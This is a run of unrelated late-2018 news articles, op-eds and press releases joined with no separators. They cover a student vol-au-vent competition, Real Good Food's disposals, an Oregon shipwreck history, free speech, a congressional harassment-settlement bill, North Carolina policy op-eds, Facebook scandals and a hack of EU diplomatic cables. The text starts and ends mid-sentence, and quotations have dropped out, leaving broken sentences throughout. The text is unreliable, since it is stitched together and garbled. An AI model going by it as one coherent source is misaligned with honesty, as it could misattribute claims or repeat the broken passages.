vol-au-vent, comprising five different layers, each reflecting a different theme. The layer of strawberry mousse was described as reminiscent of fresh fruits sold in street markets across the UK, for example. The white chocolate drizzle was inspired by waffles and crepes often found in Belgium, and the praline shards reflected street food in New Orleans during the 18th and 19th centuries. The vol-au-vent was coated in a cinnamon glaze to give it a doughnut-style finish. The judges praised Chloes vol-au-vent for its traditional flavours, presented in a new and innovative way, and enthused about her attention to detail and the way she included different components from multiple street food initiatives from across the globe. They also remarked on how Chloe had not only produced a delicious dessert but really understood the brief and thought about the practicality of serving it in a street food environment. Rachel Able from the London Geller College of Hospitality & Tourism, University of West London, was awarded second place for her Mexican and black bean parcel. Our young chefs are very talented and to witness what they have achieved during this competition has made me extremely proud. Each of the students really took the brief on board and created their own unique and delicious dish using the Pidy vol-au-vents, said Robert Whittle, general manager at Pidy UK. Its important for Pidy to connect with students and be part of their journey into the industry. Its inspiring to see the fresh, innovative ideas the students produced from a challenging brief. Real Good Food has sold jams and preserves business R&W Scott and reported a half-year loss before tax of 9.1m. The R&W Scott management team has bought out Real Good Food in a 4m deal that follows RGF selling off Haydens Bakery in September and Garrett Ingredients in April. Based in Carluke in Lanarkshire, R&W Scott has been producing jams and preserves for more than 130 years and last year had a turnover of almost 11m. The business also makes chocolate flavoured coatings, sweet and savoury spreads and soft icings for retail, foodservice and wholesale customers worldwide. The management buyout was led by R&W Scott managing director John Easton, who has worked at the business for more than 12 years, along with fellow directors Stephen Currie and Michael Hewitt (pictured right). Funding was from the management team, supported by Bibby Financial Services. We are recognised as a leading supplier in our sector and we are committed to growing the business further and cementing our position within the industry, said Easton. For employees and customers its very much business as usual in the short term, however, we do have several exciting innovative new products planned for the future. The disposals of Garretts, Haydens and R&W Scott have raised 17.8m for RGF, of which 10.1m has been received in cash, 7.2m in taking on third-party debt and 0.5m is deferred. RGF, which still owns cake decorations supplier Renshaw, snack bar manufacturer Brighter Foods and Chantilly Patisserie, said the disposals and new funding arrangements had transformed the groups financial position. RGF previously reported a 23.2m operating loss in the year to 31 March 2018 prompting chief executive Hugh Cawley to say the business would look back on the year with little pride or satisfaction. The results followed a troubled period for RGF including the exit of founder and executive chairman Pieter Totte, profit warnings, and the announcement it would be improving its corporate governance and reporting after admitting standards had been below those investors might reasonably expect. %%Quote_43%% In todays statement, RGF said the funds raised had eliminated term debt with the bank and provided working capital for general requirements as well as growth. "This disposal, alongside those of Haydens and Garretts, marks a significant milestone in the turnaround and performance improvement programme of Real Good Food, said Cawley. We are now able to focus on the core continuing businesses, Brighter Foods and Cake Decoration, with no bank term loan and a fully funded growth plan. In its interim statement for the six months to 30 September 2018, RGF reported 30.4m revenue from continuing operations, down from 31.9m the previous year. Underlying adjusted EBITDA from continuing operations, was 0.9m compared to a loss of 0.4m, although loss before tax was 9.1m and includes a 6.3m goodwill impairment charge against the cake decorations business. Cawley said the underlying performance of continuing operations had improved, reflecting cost savings made. The performance of these continuing operations remains in line with our modest expectations for the year, he added. Overall, the board remains confident, but far from complacent, in the future prospects for the group and reiterates that the performance of, and prospects for, what is now a smaller and more focused group, have improved considerably. RGF divisional business performance Cake Decoration Renshaw Europe and Renshaw Americas Revenue: 22.2m (-1.2%) Adjusted EBITDA: 1.3m (+167%) Revenue was broadly flat for the first half. Some encouraging revenue growth has been seen in Renshaw North America and Rainbow Dust Colours. The UK market remains challenging, however, and offsets the benefits seen in these units. Underlying adjusted EBITDA at 1.3m is an improvement of 0.8m on the prior year. The improvement over the prior year relates to the cost savings made within the year and a stronger gross profit. The loss before tax stood at 5.5m and reflects an impairment charge of 6.3m. The Cake Decoration division is a core division for the group and is currently in turnaround. The investments made in manufacturing capability in the last couple of years have not yet started to deliver the returns that could be expected, for example, and the Board believes that the current valuation, reflected here, necessarily and materially underplays the potential value of this division. Food Ingredients Brighter Foods Revenue: 6.9m (-15.9%) Adjusted EBITDA: 1.4m (-20%) The phasing of revenue at Brighter Foods is more heavily weighted to the second half in this financial year when compared to the prior year due to the timing of promotional products and new product launches. Although the underlying adjusted EBITDA performance for Brighter Foods is behind its equivalent period last year due to lower revenue, full recovery of the shortfall is expected in the full year. Profit before tax of 0.6m is 0.4m behind the prior year. Premium Bakery Chantilly Patisserie Revenue: 1.3m (+4%) Adjusted EBITDA: -27k RGF Patisserie (Chantilly) was part of Haydens Bakery in the prior year and was set up as a separate legal entity on 31 July 2018, in order to allow the separate sale of Haydens Bakery Ltd. Survivors of Shipwreck on Central Oregon Coast: Part 2 of Boiler Bay History (Video) Published 12/19/2018 at 4:59 PM PDT By Andre' Hagestedt (Depoe Bay, Oregon) A remnant of a rather dramatic shipwreck still haunts part of the Oregon coast to this day: the boiler in a cove near Depoe Bay that gave Boiler Bay its name. (All historic photos courtesy Lincoln County Historical Society in Newport. Above: the J. Marhoffer crew on land). The rusted, crusty object comes from the steamer J. Marhoffer, which wrecked here in 1910 in nothing less than a fiery scene after it roamed without a pilot for miles. A fire had broken out on board and the crew jumped out, leaving this manic vessel to its own random decisions of physics. Before crashing onshore, it did a strange loop while still on fire, edging so close to the bluffs of what was then called Briggs Landing that it caught the trees aflame, then finishing the circle and exploding just after it hit the reefs. Thats the first part of this wild Oregon coast historic tale, documented in Boiler Bay and the J. Marhoffer Shipwreck. This article - part 2 - documents the second half of the tale. It picks up just after the crew made landfall at was then called Big Cove, now known as Fogarty Beach. Survivors of the vessel had found themselves on land, where the cook (Mr. Tiffney) died. They had no clothes other than what was already on their backs and no provisions, so many of them went different directions in search of help. Being a very sparsely populated section of Oregon coast back then, most found nothing and returned to the landing site to at least keep close to a warm fire. Captain Peterson, his wife and first officer Johnson happened upon a cabin in the dark, finding it unoccupied. They broke in and spent the night, stumbling out in the morning to eventually find a farm owned by the Chatterton family. At their homestead the trio were fed breakfast, then set out again apparently heading south. Chief engineer Hastorf managed to find the road to Newport in the pitch black, eventually leading him to the Yaquina Head Lighthouse and its crew sometime in the morning. One of the lighthouse keepers, a man named Wilson, took a team on foot towards the shipwrecked crew and bumped into the captain, his wife and the first officer. He walked them back to Newport. Meanwhile, some of the Chatterton family and their neighbors, the Greenwoods, made a sizable feast with coffee and walked the pile of food down to Fogarty Creek where the rest of the crew sat in misery. Hastorf had traipsed up to the Life Saving Station in Newport and reported the wreck to officials there what would eventually become the Coast Guard. A crew from that station, along with Hastorf, went back towards the wreck, grabbing Captain Peterson along the way, with the whole bunch reaching the landing site around 1 p.m. Glad to see the men scarfing down all the free grub, the captain and some of the station team went back up to Briggs Landing (currently known as Boiler Bay) to see if anything could be salvaged. They found only charred chunks of useless metal and no materials of any use. Later that afternoon, the county coroner, Dr. FM Carter, ventured down to the site to investigate the death of Tiffney, interviewing all crewmembers. He found that Tiffney had come to his death through fright, chill and exposure for which no one was in any way responsible, the Yaquina Bay News writes. Tiffney is buried in Newport still, alongside the graves of other sailors lost in the area, including the steamer Minnie F Kelton that had wrecked right around Boiler Bay just two years before. According to another article by the paper, within a day or two of the event, three local men by the name of Corgan, Davies and Walker drove down to that cove around 1 p.m. and rigged sails onto the two lifeboats left by the men, setting out down Oregon coast waters in a salvage effort. One of the boats arrived at the whistling buoy off the mouth of the bay at 3 oclock, beating the second boat by an hour the newspaper goes on to say. At 9 oclock they arrived here, sailing the entire distance of sixteen miles on the ocean fourteen miles up the bay. They report a pleasant trip although a heavy sea was running. One of the boats will be used as a tender and life boat for the steamer Truant. The two small boats were later sold to the Modern Improvement Company of Toledo, according to a June 2 edition of the paper. The men snagged a handsome $52.50 for the salvage. Part one of the story here: Boiler Bay and the J. Marhoffer Shipwreck. You can find more on the Marhoffer at the Lincoln County Historical Society and museum in Newport. 545 SW 9th Street, Newport, Oregon. 541-265-7509. Lodgings in Depoe Bay - Where to eat - Maps - Virtual Tours More About Oregon Coast hotels, lodging..... More About Oregon Coast Restaurants, Dining..... Coastal Spotlight LATEST Related Oregon Coast Articles Back to Oregon Coast Contact Advertise on BeachConnection.net All Content, unless otherwise attributed, copyright BeachConnection.net Unauthorized use or publication is not permitted "Each one of us has to decide if we will continue to speak fearlessly. That doesn't mean speak like a jerk. The opposite of political correctness isn't assholery. The opposite of political correctness is actually speaking what you believe to be true with civility and conviction." Free speech is overwhelmingly popular in courtrooms around the United States, but the jury of public opinion doesn't support First Amendment rights, a conservative litigator and legal writer says.Political mudslinging happens when people choose sides based on what they hate rather than what they believe, David French, a senior writer for National Review, said Dec. 11.The presentation was co-hosted by the Federalist Society, National Review Institute, and the John Locke Foundation.Legal battles are easy to win, but cultural battles are easier to lose, French said, pointing to college and university campuses as incubators for negative polarization.French, former president of the Foundation for Individual Rights in Education, spent years litigating free speech cases at colleges around the nation. His presentation in Raleigh comes on the heels of FIRE's annual report,The report, which each year surveys more than 450 public and private universities, found 28 percent of campuses nationwide severely restrict speech, while 61 percent of institutions invite some type of speech constriction via vague policies. These are classified as red-and-yellow-light schools, respectively. Forty-five institutions - whose policies don't seriously threaten expression - were given the "green light."Thirty-five schools were green-lighted in 2018. Only eight universities had green lights in 2009.North Carolina is a national leader with eight green-rated schools, seven of which are part of the University of North Carolina System.But restrictive policies continue to prevail at several of the state's institutions, and even schools with good ratings have issues. Campuses like UNC Chapel Hill, which are rated green by FIRE, suffer from speech controversies like those surrounding Silent Sam, a confederate statue toppled on the campus in August. Protests and counter-protests have ensued. In a recent proposal, UNC Chapel Hill's Board of Trustees called for a mobile police force to respond to future protests - an action that could chill free speech, the National Council of Public History says.Toxic political discussions from government elites have drained into the lives of average people, French said, recalling a case in which a university "speech code" literally stipulated "acts of intolerance will not be tolerated."Don't think about it too much, he joked of the illogic.Speech zones and codes exist to suppress more popular or powerful points of view in favor of lifting up historically marginalized ones, French said. It's a model called "liberated tolerance," but it actuallyhe said.It's up to individuals to battle for a cultural return to the values of the First Amendment, and fighting for the speech rights of someone with whom you disagree is a good way to make room for more speech, not less, French said. Members of Congress will no longer be able to rely on taxpayer money to settle sexual harassment and sexual misconduct claims, thanks to legislation passed just this week. The Huffington Post reports that the final version of the bill passed Thursday, "sailing" through the House and Senate by unanimous consent, and will be on President Donald Trump's desk awaiting a signature by the end of this week.Rep. Jackie Speier (D-CA), one of the primary sponsors of the bill told reporters on Thursday , according to Reuters.The bill has been in the works for a while, as Speier pointed out in her speech:Speier and bipartisan group of congressional leaders began drafting the bill last year after the "#MeToo" movement exploded across social media, ensnaring powerful men in Hollywood, in the media, and even in the federal government. Both Sen. Al Franken (D-MN) and Rep. Blake Farenthold (R-TX) resigned their positions in Congress after past indiscretions came to light in late 2017 and early 2018.Now, thanks to the legislation, senators and representatives will be required to pay out of pocket for settlements with former staffers and aides who accuse them of sexual misconduct and will not be allowed to rely on taxpayer money to defend themselves in lawsuits brought by former colleagues.Farenthold, for example, spent more than $84,000 in federal money defending himself against a suit brought by a former legislative director who claimed the then-congressman used inappropriate, sexually charged language in an interaction (another aide also claimed Farenthold created an unsafe work environment through his sexualized language and foul exploits).The Huffington Post reports that the bill goes a bit further than just limiting cash flow, reforming a grievance reporting system mired in the 1990s:The bill doesn't accomplish everything Speier set out to do. The provisions within the bill are limited to sexual harassment claims and sexual misconduct claims only - not claims of discrimination, even if those claims are sexual in nature. The bill also does not provide representation to alleged victims free of charge. Although those two requests were in the House version of the bill, Senate leadership encouraged the bill's authors to pursue those objectives in separate legislation.The law also isn't retroactive, so although former Rep. Farnthold pledged to return the $84,000 he used to defend himself - something he has yet to do - it's probably a lost cause for taxpayers. States and municipalities courting of large corporations such as Amazon and Apple has brought the folly of economic development tax incentives into the public awareness . Those incentives are intended to lure hand-picked corporations to the state at taxpayers' expense. Corporate handouts fundamentally create an uneven playing field for businesses within the state. Non-incentivized corporations must pass along the higher price of doing business to their workers (through lower wages) or customers (through higher prices). These added costs make them less competitive than businesses that receive special tax breaks. Thus, corporate incentives essentially allow government to pick winners and losers in the free market.Corporate incentives are not the way to strengthen our economy, so how can the state promote economic growth?Instead of offering tax relief to only a few companies, North Carolina should eliminate its corporate income tax altogether and end corporate welfare programs. As the country's leading state for business , North Carolina is in a position to be a leader in this area as well.A recent editorial by the Capital Broadcast Company called for movement in the exact opposite direction. They advocated a halt to the state's scheduled decrease of the corporate income tax in 2019, saying that the revenue collected by the higher tax rate is needed to fund government obligations. According to the article, one such obligation is providingWhat the article fails to mention is the impact that a thriving business environment has on quality of life.The most recent report from the U.S. Bureau of Labor Statistics revealed that low-tax burden states had employment growth rates of 50.9 percent higher than average-tax states and 72.1 percent higher than high-tax states ( Analysis here ). That same report reinforced North Carolina as a consistent leader for unemployment decreases.Following this pattern, the elimination of corporate income tax would likely drive more economic growth. Businesses would want to locate in North Carolina, where they would have an advantage over businesses in other states with corporate income taxes. This would foster growth for all businesses, and not just those favored by politicians.Cultivating an environment where people can find work and be self-sufficient is the biggest impact state government can have on quality of life.Progressives like us to think that corporate taxes are a charge on the soulless, faceless big businesses. But the truth is that those taxes almost always get passed on to workers in the form of lower wages. Corporations are comprised of a collection of individuals; when taxes on corporations are raised, individual people ultimately bear that burden. Corporate income taxes allow government to extract more money from citizens of the state, without having to take the direct political blame for doing so.In summation, the corporate income tax: is felt most by average North Carolinians through lower wages; incentivizes lawmakers to meddle in the free market through selectively offering tax breaks; and hinders economic growth compared to lowering taxes across the board.North Carolina has lowered the corporate income tax in recent years, and the results are undeniable . But eliminating the corporate income tax entirely is the next logical step for North Carolina. This Holiday Season, Beware of Naughty Charities Publisher's note: Contributor Will Coggin is responsible for this informative opinion piece. For many Americans, the end of the year is a great opportunity to donate to charities and use our finances to do a little good in the world. However, a recent report reveals only 19 percent of people highly trust charities. Unfortunately, there's good reason to justify this. Look no further than the Armed Forces Foundation, whose executive director was convicted last month of committing fraud and tax evasion. She was caught using charitable donations for her personal expenses, while donors thought that money was helping veterans. Naturally, people want to give to good and effective charities so their donation can actually make more of an impact. A good charity is more difficult to find than many people would expect. Part of the problem is so many charities are poorly run and lack any serious accountability--a "black hole" of accountability, according to some experts. One example is the Disabled Veterans National Foundation, which was the subject of a CNN expose revealing the organization raised $55.9 million over several years, yet virtually none of that money was given to veterans. Instead, donations were bizarrely spent on candy, hand sanitizer, and further fundraising. In fact, scammers often target people who want to help veterans due to the emotional appeal of helping wounded service members. Similarly, animal charities wielding pictures of homeless pets are not always what they may appear to be at face value. The Humane Society of the United States (HSUS) plasters its ads with photos featuring needy cats and dogs, yet it only gives one percent of donations to local pet shelters. Despite sharing a similar name with local humane societies, HSUS actually does not run a single pet shelter. Meanwhile, People for the Ethical Treatment of Animals (PETA) claims to promote animal rights, but actually kills the vast majority of cats and dogs it takes into its animal shelter-in some years, PETA's kill rate has been 97%, according to public records. Health charities are full of bad apples, too. According to one charity evaluator, Autism Speaks spends as much as 44 percent of its budget on overhead. And it can be difficult to discern similarly named groups. The Breast Cancer Research Foundation spends a high percentage of its budget on programs, yet the Breast Cancer Research and Support Fund does not. The range of bad charities shows that no sector is immune and so an informed choice is essential. What should you do? First, be sure to check out a nonprofit with a thorough evaluator. CharityWatch, a nonprofit watchdog, is considered one of the best. Its most recent guide rates 51 veterans charities, 55% of which get "D" or "F" grades. But it also lists a number of "A" organizations that will use your donation efficiently. More fundamentally, consider giving locally. National charities of all stripes run into the same issues: Non-transparency, bloat, corporatism, donations spent on consultants and executives, etc. In contrast, it's highly unlikely that your local food bank or animal shelter is wasting money on massive telemarketing campaigns. (To make sure, you can ask for their publicly available tax return, which lists salaries of key employees.) Moreover, you can see your donations being used in your own community. With the new changes to the tax code, experts expect fewer people will be taking a charitable deduction. So while the end of the year is when charities bombard us with fundraising appeals, remember to take your time and be careful. You, and those who are helped by your benevolence, will be thankful for it. It's hard to feel good about the following headline:But this observer has to admit to at least one positive reaction while reading the sad news spelled out in the Dec. 11 edition of the Raleigh News and Observer. While contemplating the story of Hope Charter Leadership Academy's struggles, I couldn't help but think: This is what's supposed to happen to a charter school that underperforms.The demise of Hope Charter, located near downtown Raleigh, offers a sharp contrast to traditional district schools that fail year after year. In almost every case, those schools continue to operate with no threat of closing. While Hope Charter students and families must seek other educational options, many of their counterparts in failing schools across the state remain stuck with the status quo.Short of a shutdown, even efforts to shake up operations of a failing district school tend to face an uphill battle. Witness the protracted fights over placing two elementary schools - one in Robeson County and the other in Wayne - in the state's relatively new Innovative School District. That district targets the state's worst-performing district schools. It allows them to continue operating under new management.Imagine the outcry if state or local education officials had recommended an alternative: shuttering those schools completely. It's safe to say that option would not have proceeded as smoothly as the process that will lead Hope Charter to close its doors.Charter school advocates often point to good news associated with these publicly funded schools that operate outside the control of traditional school systems. And they have strong evidence on their side.The John Locke Foundation's K-12 education expert, Terry Stoops, noted this fall that a higher percentage of charter schools (42 percent) earned A and B grades from the N.C. Department of Public Instruction in 2017-18 than their district school counterparts (35 percent). Charter schools made up 7.8 percent of those higher-grade schools, even though charters represent just 6.6 percent of the more than 2,500 graded public schools statewide.On the other end of the scale, eight charter schools (5 percent) earned F grades, while 83 (4 percent) of their traditional district school counterparts failed to make the grade. Charters represented 8.8 percent of all failing schools, according to the state's grading system.One major difference, of course, is that each failing charter school faces the threat of following Hope Charter's path to closing. Few, if any, of the dozens of failing district schools are likely to hear any suggestion that they shut down.The prospect of closing forces struggling charter schools to innovate or disappear.Innovation remains a realistic option. Ask Richard Vinroot, the former Charlotte mayor and Republican candidate for governor. Vinroot shared with state lawmakers this spring the story of Sugar Creek, the charter school he helped start in Mecklenburg County.Sugar Creek's early performance results fell well short of Vinroot's expectations. He conveyed his concerns to school director Cheryl Turner.Vinroot said.As Vinroot recounted during his April legislative presentation, Turner asked for another year to find a way to boost the school's performance. Two decades later, a school that started with about a quarter of its students meeting grade-level proficiency boosted that total to 60 percent.In 2016-17, Sugar Creek's African-American students scored 12 points higher on standardized tests than their CMS peers and 19 points higher than African-American students statewide. Sugar Creek's Hispanic students scored 19 points higher than those in the surrounding school district and 21 points higher than the statewide average. Among all economically disadvantaged students, Sugar Creek topped CMS by 18 points and the statewide average by 21.The school eventually expanded into high school grades. All 30 members of its first graduating class were expected to go on to college. As the school compiled these achievements, 94 percent of Sugar Creek students qualified for free or reduced-price lunches, Vinroot said.It would be great to see repeat performances of Sugar Creek's success story. State leaders would be wise to give new charter schools sufficient time to mirror Turner's impressive turnaround.But some charter schools won't make it. Those that can't find the key to success should shut down. Just as the top-performing charters offer examples for other schools to emulate, the shuttered charters should provide evidence of education approaches to avoid in the future.Yes, it's sad to read about aBut that's a better headline to see than WAYNE, Pa., Dec. 20, 2018 (GLOBE NEWSWIRE) -- Liberty Property Trust announced suburban office property dispositions, Southern California acquisitions and financing of an industrial portfolio in the United Kingdom. Liberty has sold five office properties comprising 335,866 square feet in Malvern, Pennsylvania for $45.8 million. The properties consist of: 100 Chesterfield Parkway, 600 Chesterfield Parkway, 700 Chesterfield Parkway, 14 Lee Boulevard, and 12-16 Great Valley Parkway. In total, Liberty executed $795.2 million in sales in 2018. Liberty has purchased two industrial properties comprising 447,570 square feet in Southern California for $60.2 million. The properties consist of 15025 Proctor Avenue, a fully-occupied, 128,581 square foot property in City of Industry, and 520 E. Orange Show Road in San Bernardino, a 318,989 square foot development property acquired vacant at shell completion for inventory. Libertys in-service Southern California portfolio is 100% occupied. In total, Liberty purchased $496.7 million in industrial properties in 2018. In conjunction with Libertys previously announced 111 million acquisition of a 1.1 million square foot industrial portfolio in October, Liberty has financed a portfolio of 13 industrial properties located in the UK with a 129.5 million, 10-year, interest-only loan at 2.64%. This loan was used to repay short-term borrowings used to fund seven of the 13 properties acquired in October, as well as portions of Libertys existing UK industrial portfolio. Commenting on these transactions, Mike Hagan, Libertys chief investment officer, said: As we close out the year, Liberty has successfully executed on our strategy to reallocate capital from office to our growing industrial business. We have also secured permanent financing at very favorable terms on our UK industrial portfolio. About the Company Liberty Property Trust (NYSE:LPT) is a leader in commercial real estate, serving customers in the United States and United Kingdom through the development, acquisition, ownership and management of superior logistics, warehouse, manufacturing, and R&D facilities in key markets. Liberty's 103.5 million square foot operating portfolio provides productive work environments for 1,200 tenants. Inquiries: Jeanne Leonard, Liberty Property Trust, 610.648.1704 On Friday, President Trump announced via Twitter that he would be appointing current director of his Office of Management and Budget and recent acting director of the Consumer Financial Protection Bureau as acting chief of staff, replacing outgoing John Kelly. That move wasn't completely unexpected from those who follow the White House closely. In recent days, it became clear that many top candidates simply weren't interested in the job, and that those who were interested (see Christie, Chris) would present more hazard than help in running the West Wing.I am pleased to announce that Mick Mulvaney, Director of the Office of Management & Budget, will be named Acting White House Chief of Staff, replacing General John Kelly, who has served our Country with distinction. Mick has done an outstanding job while in the Administration....I am pleased to announce that Mick Mulvaney, Director of the Office of Management & Budget, will be named Acting White House Chief of Staff, replacing General John Kelly, who has served our Country with distinction. Mick has done an outstanding job while in the Administration........I look forward to working with him in this new capacity as we continue to MAKE AMERICA GREAT AGAIN! John will be staying until the end of the year. He is a GREAT PATRIOT and I want to personally thank him for his service!Trump has been close with Mulvaney since the administration's successful tax reform in 2017. Mulvaney has been a strong loyalist inside the administration; in 2017, he completely disclaimed chaos inside the administration in an interview with CNBC, explaining, "I read many, many times that, let's see, Steven Bannon doesn't get along with Reince Priebus. And neither of 'em get along with Jared Kushner. And nobody gets along with Gary Cohn. That's all entirely false."Note to reader: it wasn't entirely false.But Mulvaney's good relationships with those surrounding President Trump will certainly help him grease operations inside the White House. Mulvaney isn't a strong personality who feels the need to challenge the president or prevent access to other top advisors. For Trump, picking Mulvaney is effectively as close as possible to picking himself for chief of staff. What's more, Trump gets to operate from within the White House confines, which means no need to generate new chemistry in the West Wing.Mulvaney is about as solid a pick as Trump could make under the circumstances. The biggest question will be whether he's capable of helping the president avoid the investigative pitfalls that will surely be presented by a Democratic Congress hell-bent on picking apart every aspect of Trump's White House, business, and life. Should Beaufort County elected officials demand that every alleged incident of Child Rape be investigated in Beaufort County? Yes, without fail, irrespective of the parties involved; this heinous crime must be investigated, and the truth be known, and responsible parties prosecuted. New York, NY, Dec. 20, 2018 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- Light Reading (www.lightreading.com), the market-leading online community for the global communications sector, will welcome Mike Dano as Editorial Director of 5G and Mobile Strategies in early January. Dano will be responsible for leading Light Reading's 5G editorial strategy and coverage, including its news analysis, executive interviews, editorial content for live events, on-camera video interviews and more. Dano, based in Denver, comes to Light Reading from FierceMarkets Telecom Group, which includes FierceWireless, FierceTelecom, FierceVideo and other publications. He was Editor-in-Chief of the publication group for two years, spent five years as the group's Executive Editor and two years as one of its Managing Editors. Prior to his time at FierceMarkets, Dano spent nine years in various editorial roles at RCR Wireless News. "We're thrilled to welcome Mike to Light Reading. His editorial experience and following in the mobile communications industry is unrivaled," says Jonathan Keller, Managing Director of Light Reading. "We're looking forward to his expertise and the fresh perspective he'll bring to the site." About Light Reading Light Reading is an independent B2B digital media platform providing daily news analysis and insight for the global communications networking and services industry. Its broad readership and solid reputation make it the leading resource for telecom, mobile and cable network operators, cloud services players and all the companies that develop and supply it with technology, applications and professional services. Light Reading has over 500,000 qualified registered users, its websites attract over 1.3 million monthly page views and its newsletters are sent out to 220,000 opt-in subscribers. The brand is also active across all major social media channels, with over 100,000 members and followers. The Light Reading Group incorporates two dedicated research divisions, Heavy Reading and Tractica; more than 15 successful annual industry events, including the Big 5G Event; several targeted online communities, including Security Now, Connecting Africa and Broadband World News, that dig even deeper into key areas of the global communications industry; and its sister industry news site Telecoms.com. Legal notices 1) The material on this blog has been created by W. Blake Gray, is protected under US copyright law and cannot be used without his permission. 2) To the FTC: In the course of my work, I accept free samples, meals and other considerations. I do not trade positive reviews or coverage for money or any financial considerations, unlike certain famous print publications which have for-profit wine clubs but, because they are not classified as "bloggers," are not required by the FTC to post a notice like this. Hacked EU cables released this week warn that Russia may already have nuclear weapons in Crimea. The private diplomatic messages describe annexed area of Ukraine as a 'hot zone,' and Donald Trump as a 'bully.' You can read them here in PDF. "The cables include extensive reports by European diplomats of Russia's moves to undermine Ukraine, including a warning on Feb. 8 that Crimea, which Moscow annexed four years ago, had been turned into a "hot zone where nuclear warheads might have already been deployed," reports the NYT. U.S. officials say the haven't seen evidence. From the New York Times' original report: The techniques that the hackers deployed over a three-year period resembled those long used by an elite unit of China's People's Liberation Army. The cables were copied from the secure network and posted to an open internet site that the hackers set up in the course of their attack, according to Area 1, the firm that discovered the breach. Area 1 made more than 1,100 of the hacked European Union cables available to The New York Times. The White House National Security Council did not have an immediate comment on Tuesday. () Unlike WikiLeaks in 2010 or the Russian hack of the Democratic National Committee and other Democratic Party leaders in 2016, the cyberattack on the European Union made no effort to publish the stolen material. Instead, it was a matter of pure espionage, said one former senior intelligence official familiar with the issue who spoke on the condition of anonymity. It also displayed the remarkably poor protection of routine exchanges among European Union officials after years of embarrassing government leaks around the world. [Read a selection of the cables here.] David E. Sanger and Steven Erlanger's reporting was later updated: The United Nations spokesman has issued a comment about the breach and the National Security Agency said it would decline to comment. Both are included in the story below. From the Guardian: This New Year's Day, for the first time in 21 years, new works will enter the public domain in America: the Class of 2019 was all creating in 1923, and has been locked in copyright for 96 years. When Disney successfully lobbied Congress to extend copyright by 20 years in 1998, it stopped the clock on the public domain. 20 years ago, everything from 1922 became public. The next year, and the year after, and every year until 2019, nothing else entered the public domain. As Glenn Fleishman writes in Smithsonian, the result is a weirdly skewed public perception of the 1920s. 1922 was the year "the world broke in two," in the words of Willa Cather. It was the year of Ulysses, The Wasteland and Harlem Shadows. Those works have been ours to use and change and copy and play with for 20 years. The works from the next year Robert Frost's "Stopping By the Woods on a Snowy Evening," Conan Doyle's "Our American Adventure," Willis Richardson's "The Chip Woman's Fortune," have been locked away and languishing, waiting for Jan 1, 2019. If this pleases you as much as it does me, and you happen to be near San Francisco on January 25, please join me, Larry Lessig, Creative Commons and the Internet Archive for A Grand Re-Opening of the Public Domain. Fleishman adds, "I wrote a parody of one of the 1923 works, Frost's "Stopping by Woods on a Snowy Evening," as a side project The bit about "fifty-one" refers to the fact that the poem's copyright may have been improperly renewed in 1951, thus leaving it in the public domain for the last 67 years even as the Frost estate and publishers have rigorously defended it (as noted in the article), including in Eldred v. Ashcroft." "Two roads diverged in a wood, and I / I took the one less traveled by, / And that has made all the difference." How refreshing it is to quote freely from another iconic Robert Frost poem, "The Road Not Taken," published in his poetry collection Mountain Interval in 1916. Its copyright expired in 1992 and that has made all the difference. The poem has inspired lyrics from Bruce Hornsby, Melissa Etheridge and George Strait, and its phrases have been used to sell cars, careers, computers and countless dorm room posters that feature the final lines as an exhortation to individualism that the poet likely never intended. On January 1, HathiTrust will publish Frost's collection New Hampshire, including "Stopping by Woods on a Snowy Evening," online and it will finally be available for anyone to adapt. Perhaps no one is more bemused by that prospect than the composer Eric Whitacre. In 1999, believing the poem had already entered the public domain (the last-minute copyright extension prevented that), Whitacre accepted a commission to turn it into a choral piece. After just two performances, Whitacre said, Frost's publisher and the Frost estate shut him down, refusing to license the work. Whitacre eventually produced a different version of the work, titled "Sleep," with lyrics written for it by the poet Charles Anthony Silvestri. He is now considering releasing the work in its original form. "All I wanted to do," Whitacre said, "is illuminate the original poem with music." For the First Time in More Than 20 Years, Copyrighted Works Will Enter the Public Domain [Glenn Fleishman/Smithsonian] STOPPING BY WORDS ON A NEW YEAR'S EVENING Whose words these are it's clear to see, He wrote them back in 'twenty-three. His reps have never stopped the fight To limit use by copyright. James Madison would think it queer That rights this long could stay so dear, But courts have let extensions be Despite the case of Eldred v. The house of publication shakes Off questions that renewal breaks In 'fifty-one, a form not sent No one tried to show dissent. The words are lovely, free and clear, With oceans more that will appear. And years to go before release, And years to go before release. By Issie Lapowsky's count, Facebook had 21 major scandals in 2018. This feels low to me. Wasn't it more like 21,000,000? (2018 was a hell of a year). She's arranged her master list in chronological order, starting with February ("Special counsel Robert Mueller's indictment of Russian trolls reveals the role Facebook played in Russia's plotand so much more") and ending in December ("Another Times investigation finds Facebook shared lots of personal user data with large companies"). Perhaps next year, Facebook will oblige us with 25 scandals in time for December 1 and we can make an advent calendar out 'em. December 2018: Facebook's internal communications go public through a lawsuit over a defunct bikini app In 2015, the developer of an app that allowed people to find Facebook users' bathing suit photos sued Facebook in California for damages. The app, which was called Pikinis and was developed by a company called Six4Three, was forced to shut down because Facebook had changed its privacy settings, prohibiting app developers from hoovering up their users' friends data without their knowledge, and therefore making Pikinis inoperable. The lawsuit was going along quietly until Thanksgiving weekend, when lawmakers in the UK seized a trove of documents that had been ordered sealed in California from Pikinis' creator. In December, British parliamentarians published 250 pages worth of internal Facebook emails and other files, including personal emails from Zuckerberg himself. The emails appeared to show Facebook offering major advertisers special access to user data, deals some view as a contravention of Facebook's promise not to sell data. Facebook, for its part, has said the emails lack context and maintains that it never sold user data. Now, the founder of Six4Three, Ted Kramer, is facing his own legal troubles for handing the documents over to British MPs. December 2018: Facebook bug exposes 6.8 million users' photos to third-party developers With weeks to go before the New Year, Facebook announced another monster screwup. Thanks to a bug in its photo API, up to 1,500 apps may have had access to users' photos, whether they shared those photos or not. The bug, which was introduced on September 13, impacted people who use Facebook Login to access apps. It was finally found and patched on September 25. But Facebook waited more than two months to disclose that fact to the public. It's unclear how regulators will view this delay, particularly in the European Union where the General Data Protection Act mandates data breach disclosures within 72 hours. That's a question for 2019. December 2018: Another Times investigation finds Facebook shared lots of personal user data with large companies Just when it seemed no more scandals could break, on December 18, the New York Times published an investigation that found the company shared troves of personal user data with more than 150 companiesincluding major players like Amazon, Microsoft, Netflix, and Spotifylong after Facebook said it had cut off access to that kind of information. The big takeaway from this latest news seems to be: despite Facebook's claims that users have "complete control" over their data, the company has, throughout its history, traded on data access in order to grow the business. The 21 (and Counting) Biggest Facebook Scandals of 2018 [Issie Lapowsky/Wired] Russian President Vladimir Putin praised Donald Trump's surprise announcement of U.S. troop withdrawal from Syria, calling it "the right decision." Nice to know the boss approves! Putin made the remarks at his yearly press conference, his 14th annual 